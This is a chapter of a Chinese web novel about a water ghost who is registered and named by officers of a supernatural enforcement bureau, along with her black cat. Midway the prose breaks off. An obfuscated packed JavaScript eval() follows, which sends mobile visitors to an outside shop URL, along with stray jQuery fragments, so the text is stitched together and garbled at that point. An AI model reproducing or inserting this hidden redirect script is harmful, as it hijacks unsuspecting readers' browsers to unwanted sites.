这一觉睡得格外不安稳。
好吵。
小水鬼醒来的时候,两只眼皮直打架,仿佛被胶水黏了好几层。
脑子也和浆糊一样,昨晚发生的事像是隔了一层毛玻璃,回想不起来细节,但是小水鬼还是下意识拖着沉重的身体往上游去。
总感觉忘记了很多事情。
一只小鱼自上方游过,投下小片阴影。啊,想起来了,她今天要抓鱼。
抓肥鱼喂猫。
责任心驱使着小水鬼,和往日不同的是,她游起来并不轻松,反而很吃力,沉得慌。
好累啊。
也不知道为什么身体缩水了,小水鬼拼命回想,但是脑子里只能拼凑起零星的片段。
猫,好像受伤了。
身上很多血。
小黑猫奄奄一息的模样一闪而过,小水鬼不由自主地加了把劲向水面蛄蛹去。
身上像是坠了一块沉石,将她往水底拖去。
等能从水面看到岸边时,小水鬼的双臂早就酸胀不已。
奇怪,许久不见的阿姨和钓鱼佬怎么同时出现了?
小水鬼敲了敲自己的脑袋,用了点力,发出沉闷的声音。
对了,他们叫什么来着?
小水鬼实在想不起,虽然这两人身上熟悉的感觉勾起了她的好奇心,但是她急着找猫。
况且那处,她有一点点害怕。
刚想避开二人,小水鬼突然发想起,昨晚小黑猫最后躺的地方恰好在他们中间。
小水鬼下意识咽了咽口水,直觉让她转身就跑,可她还是放心不下小黑猫。
于是一片鬼鬼祟祟的荷叶慢慢飘近水边,小水鬼发誓她只想悄悄地看一眼小黑猫的状况。
那儿的气氛有些可怕,小水鬼忍耐着不适,不断在心里给自己打气。
地上两滩早已干涸的血迹让小水鬼意识到——自己昨晚好像闯大祸了。
难道说,她昨晚真的杀人了?
可是,可是,这不应该呀。
她怎么可能会杀人呢?
小水鬼呆愣在原地,脑子被巨大的信息量冲击一下子根本无心思考其他内容。
郑维今天破天荒地也拿了一根鱼竿,和陈岩坐在一起,恰好将从水底游来的小水鬼夹在中间。
两人不约而同地点起了烟,浓烈的味道将小水鬼从震惊中惊醒,小水鬼被熏得咳了好几声,湖面顿时升起一连串的泡泡。
“维姐,你听说了吗?害死人的鬼是没有好下场的,没有来生就算了,死得还一个比一个惨。”
“是啊,要是被执法部门抓到的话——”郑维顿了顿。
陈岩似乎很好奇,继续追问外人、外鬼不知道的机密:“会怎么样?不如,你就用水鬼举例吧。”
“水鬼啊,可能会被暴晒到死吧……”
“要晒很多天吗?”
“对,鬼也有活下去的权利,我们执法部门向来尊重鬼权。”
小水鬼吓得抖啊抖,水面也泛起阵阵涟漪。
说实话,她现在真的很想跑,就像那位阿姨说的,鬼也想活着。
岸边两人看穿水下的鬼想要跑的心思,眼睛一眯,手中的竿同时往下压去,两道细若无物的金光霎时将她“框”了起来。
小水鬼对此一无所知,难耐地转了几个圈圈,还是停在了原地,不敢溜。
毕竟她真的伤了人,乖乖认错才能从宽处置。
郑维和陈岩对视一眼,有些愕然,倒是没想过这水鬼竟真的没有逃跑。
两人在执法局工作时间并不算短,阅览的档案更是不计其数,见了血的鬼能忍住不伤人的例子虽说罕见,也不是没有。
但这个水鬼明显是没有接受过正规培训的、不被官方认可的。
更何况,他们手中的清秽烟,能中和鬼怪赖以存在的阴性能量——阴气、怨气,使其如置身炽热阳光般痛苦。
这只没有登记在册的、野生的弱小水鬼,居然抵抗住了天性,老老实实呆在原地。
也不知道是太笨,还是太聪明,知道自己跑不掉。
小水鬼不知二人心中所想,蔫头耷脑地听着恐怖小故事,分不清是“臭烟”熏得,还是故事的恐吓效果太足。
小水鬼原先昏昏沉沉的脑袋清明了不少,昨晚的细节也慢慢浮了上来。
再三想了想,她觉得自己没错……退一万步,罪不至死。
是那个男的先伤害小猫的!她这叫为“猫”除害。况且她也没有杀害他,只是让他喝了很多水,再流了一点点……血。
虽然出血量有一点点点多。
底气一足,小水鬼就不服地冒了好多泡,一副有话要说、有冤要申的模样。
恰巧烟也快燃尽了,郑维给陈岩使了一个眼色。
陈岩清了清嗓子,压着嗓子恐吓道:“还打算躲多久?”
小水鬼被空气中看不见的压迫感吓得腿有些软,鼓起勇气伸出一只手。
有点烫手,小水鬼顿了顿,在干燥的水泥地上歪歪扭扭地写着。
一个脑袋歪着,一字一句将地上湿漉漉的字念了出来——“又寸不走己……”
“这鬼文化程度应该不太高,字很丑。”喻青阳又转过头来对郑维和陈岩二人说道,“李世杰醒来了,医院那边说他没什么大事。你俩也别钓鱼了,这边赶紧把该走的程序走了,我等下还要去城南那边办事。”
郑维对同事点头示意,伸出手擒住小水鬼的手腕,小臂微微使力,将她从水里提了起来。
小水鬼像是被捏住后颈的猫,动弹不得,被带上了岸。
猝不及防踏上了久违的地面,小水鬼的腿直发软,半天也找不到正确发力的方式。
郑维一松手,小水鬼就如同煮久的面条滑落在地面上。
干燥、粗粝,和水的柔和完全不同,却格外令鬼怀念。
而且意外的不晒,小水鬼脑中转过了很多想法——如果这次没有死掉的话,那她岂不是可以……
“郑姐、陈哥,这只野鬼该不会被清秽烟熏傻了吧?你俩下了多少料。”喻青阳嘴巴一直在说,手也没闲下来,一直在本子上记录着什么。
小水鬼想要挽回自己的尊严,刚一抬头,发现陈岩手里稳稳举着一把黑伞,为她投下小片阴凉。
小水鬼懵怔的表情仅仅停留了一秒钟,就被陈岩一句——“没,她本来就不怎么聪明。”
眼睛瞬间瞪得很圆,陈岩仿佛察觉不到她的怒视,继续瞎说:“一直泡在水里,进点水很正常,小喻你别大惊小怪。”
可恶的钓鱼佬实在是太讨厌了!
小水鬼身下泅湿痕迹扩散得越来越大。
郑维肘了陈岩一记,主动蹲下来温和道:“小姑娘,我们是异常事务执法局的工作人员。今天主要是处理昨晚溪湖的能量异常波动。”
“以及将野生鬼怪登记在册。走个流程,希望小姐你能配合。”喻青阳补充道。
小水鬼一听到昨晚的事就心虚,再想到他们是什么什么部门的工作人员,眼前顿时发黑。
浓密的睫毛眨呀眨,眼眶里就蓄起了一窝水,颤颤巍巍地为自己辩解道——
“警察叔叔,我……我没杀人,我不是故意的,别抓我。”
陈岩不给面子的爆笑出声,喻青阳缓缓蹲下,凑近小水鬼,青黑的眼圈让他看上去和她一样白。
“我,不出意外的话,应该到不了被你喊叔叔的年纪。”
“好的,警察……先生。”小水鬼嗫嚅道。
“类别。”
“不出意外的话,我应该是水鬼。”小水鬼撇了撇嘴,这个问题为什么要问她,总不能真的在测试她的智商吧。
笔在纸上摩挲,发出沙沙的声音。
“名字。”
“我不知道……”
喻青阳手中的笔顿住,眼皮微微抬起,定定地望着她。
“这位水鬼小姐,我需要你知道,不愿登记在册的野鬼被误伤消灭的概率极大。”
陈岩顺势蹲下,加入蘑菇大军,“啧,你这小鬼还挺狡猾,我知道名字对于你们鬼来说很重要,但我们是正经部门,不会拿你的名字干坏事的。”
小水鬼有些懵,可她是真的不知道这些呀!
且不说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17913761|213247||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
从她睁开眼那天起,她就遗忘了自己的名字。
钓鱼佬说什么名字的作用,她更是无从得知,没有鬼通知过她。
“我真的不知道呀。”小水鬼强调。
喻青阳只是睁着一双死鱼眼看看这她,仿佛没有得到指令的机器人,又仿佛是要从她脸上看穿她的名字。
一只温暖、宽厚的手掌拍了拍她的肩,独属于年长女性的宽和无声透露出来。
“也许是魂体受损,”郑维没把话说完,引导着流程向前推进,“不一定非得想起你生前的名字,只要是你发自内心所认可的名字一样可以起效。”
“你认为你叫什么?或者说,你想叫什么?”
小水鬼没有思考过这个问题,难为情地摇了摇头。
“不配合的话,只能麻烦你和我们回局里一趟了。”喻青阳麻利地收起了资料,一副懒得和鬼多说的模样。
小水鬼吓得直摆手,“我没有,我只是想取一个好一点的名字,但是——”
“但是……”
“她没文化。”陈岩自觉补上。
小水鬼狠狠给了他一眼刀,转头喻青阳就在文化程度那一栏填了一个“极低/文盲”。
她气得头发凭空长了好几厘米,活像一个气鼓鼓的河豚。
郑维见状安抚了她的情绪,“别急,慢慢想。第一个问题,你想姓什么?”
小水鬼摇了摇头,诚恳地乞求道——
“您能帮我取一个名字吗?”
郑维是个办事利索的人,没有拒绝,直截了当应下了。
经过一番沟通后,女人确定了对方喜水、喜花草,敲定了名字。
“江荻。”
小水鬼很开心自己有名字了,但是问题是——她绝望地发现自己好像真的是文盲,那个字她不认识。
一张纸递到小水鬼的面前,喻青阳一板一眼地为她解释,“荻花,多年生草本植物,生在水边,叶子长形,似芦苇,秋天开紫花。①”
陈岩直接把网上搜到的图片怼到她眼前,小水鬼缩了缩脖子。
“喏,就是这玩意儿,还挺好看。”
小水鬼,不对,是江荻。
她开心地笑了起来,牙白得有些晃眼。依次看过几人,又抿了抿嘴,正式做了一次自我介绍——
“你们好,我叫江荻,是一只生活在水里的水鬼。”
档案上的名字闪起微微金光,这是生效的意思。喻青阳的眉头总算是松快了一点——
待办事项减一。
一声异常的猫叫响起。
三人不动神色的警觉起来,江荻一鬼则是好奇地探头探脑。
小黑猫浑身毛炸得异常浓密,腰更是高高拱起,不断哈气威胁着,小小的脑瓜里只知道它想要救那个困在里面的鬼。
那个昨晚救了它,助它逃脱,又让它活下来的鬼。
尽管它弱小得不能再弱小,但还是想要震慑威胁那几个人类。
江荻还没看清,郑维就已经单手拎着猫的后脖颈回来了。
怎么看,都有种熟悉的既视感,自己好像就是被这么拎上岸的。
喻青阳默默打开档案,“说吧,名字。”
江荻赶紧接过猫猫,胡乱撸着猫,尝试安抚它的情绪。
“普通猫也会说话吗?”
陈岩忍了老半天,挺久没敲着小水鬼的脑袋了,有点想念那个手感。
金属的伞柄轻叩了下江荻的脑袋,陈岩指了指黑猫脖子上黑发系成的蝴蝶结。
“这猫不是你的伴生物吗?你给它取个名字,让它在官方过个明路。”
江荻朝他龇了龇牙,和怀里的黑猫呲牙动作默契得很。
“我来取名可以吗?”江荻决定询问最靠谱的人。
郑维点了点,温和的微笑给了她无声的力量。
“你就叫小煤,好不好。”江荻揉了揉怀里小黑猫毛绒绒的小脑袋。
*
微风携起杨柳枝,岸边一只毛绒绒的黑猫正沉浸在啃食着新鲜的大肥鱼中。
湖畔,一片孤伶伶的荷叶正来回踱着,透着些许快活的意味。